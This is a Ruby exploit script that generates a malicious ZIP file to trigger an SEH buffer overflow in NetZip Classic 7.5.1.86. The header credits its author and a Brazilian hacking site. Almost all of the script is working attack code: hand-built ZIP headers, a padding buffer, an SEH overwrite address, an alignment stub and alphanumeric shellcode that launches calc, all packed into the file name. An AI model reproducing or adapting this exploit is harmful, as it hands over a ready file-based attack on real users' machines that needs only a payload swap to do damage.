#
#
#[+]Exploit Title: Exploit Buffer Overflow NetZip Classic(SEH)
#[+]Date: 01\30\\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://proforma.real.com/real/nzclassic/nzclassic.html
#[+]Version: 7.5.1.86
#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN
#[+]CVE: N/A
#
#The structure of the zip file has been copied from the exploit CORELAN TEAM.
#Thanks For all Turuial Corelan Team
#
#Created BY C4SS!0 G0M3S
#WWW.INVASAO.COM.BR
#Louredo_@hotmail.com
#
#
def usage()
system("cls")
system("color 4f");
str =
"""
####### # ###### ###### # #############
# ## # # # # #
# # # # # # # #
# ###### ###### ###### # # #
# # # # # # #
# # # # # # #
####### # ###### ###### 0 #############
[+]Exploit Buffer Overlfow NetZip Classic 7.5.1.86
[+]Author C4SS!0 G0M3S
[+]E-mail Louredo_@hotmail.com
"""
print str
end
if ARGV.length !=1
usage()
print "[-]Usage: "+$0+" <File Name>\n"
print "[-]Exemple: "+$0+" Exploit.zip\n"
exit
end
usage()
filename = ARGV[0]
head1 =
"\x50\x4B\x03\x04\x14\x00\x00"+
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\xe4\x0f" +
"\x00\x00\x00";
head2 =
"\x50\x4B\x01\x02\x14\x00\x14"+
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\xe4\x0f"+
"\x00\x00\x00\x00\x00\x00\x01\x00"+
"\x24\x00\x00\x00\x00\x00\x00\x00";
end1 =
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"+
"\x12\x10\x00\x00"+
"\x02\x10\x00\x00"+
"\x00\x00";
buffer = "\x41" * 235
nseh = "\x59\x40\x40\x40"
seh = [0x10057A41].pack('V')#
egg = "\x41" * 5 #4 INC ECX
egg += "\x61" * 6 #6 POPAD
egg += "\x04\x10" #ADD AL,10
egg += "\x98\xd1" #CALL EAX
egg += "\x41" * 5 #JUNK TO SHELLCODE
puts " [*]Identifying the length Shellcode\n\n"
sleep(1)
shellcode =
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYKIPVQXIOO3L5FBPXLN9D"+
"46DJTNQ5N0XVQD84XK3M8KL33RXE8L4MUP02XOLSUO92XOFVCKEL3X4NNSM5RNJGJP2ELOOSRJM5M64X"+ #Shellcode WinExec("calc",0)
"USVQ9WQKWLVSPJUT1XJDFWEZUB4O7SLKKUKUURKZP179M1XKMWRP8EKI2M8YSZW7KCJ8OPL0O7SHSPSY"+ #ALPHA BASEADDRESS EAX
"41GL7XXWKLCLNK35O0WQCSTPQY1VSXML5O6L5IQCNMHJUNJL1UUOX7VMIWMWK9PXYKN0QE1OFTNVOMUT"+
"YK7OGT8FOPYLP3K8W5UCOM83KYZA"
puts " [*]The length is Shellcode: #{shellcode.length}\n\n"
sleep(1)
junk = "\x41" * (4064 - (buffer+nseh+seh+egg+shellcode).length)
payload = buffer+nseh+seh+egg+shellcode+junk
payload += ".txt"
exploit_zip = head1+payload+head2+payload+end1
puts " [*]Creating the File #{filename}\n\n"
sleep(1)
begin
f = File.open(filename,"w")
f.puts exploit_zip
f.close
puts " [*]The File #{filename} was Created with Success\n\n"
sleep(1)
rescue
puts " [*]Error When Creating The File #{filename}\n\n"
exit
end
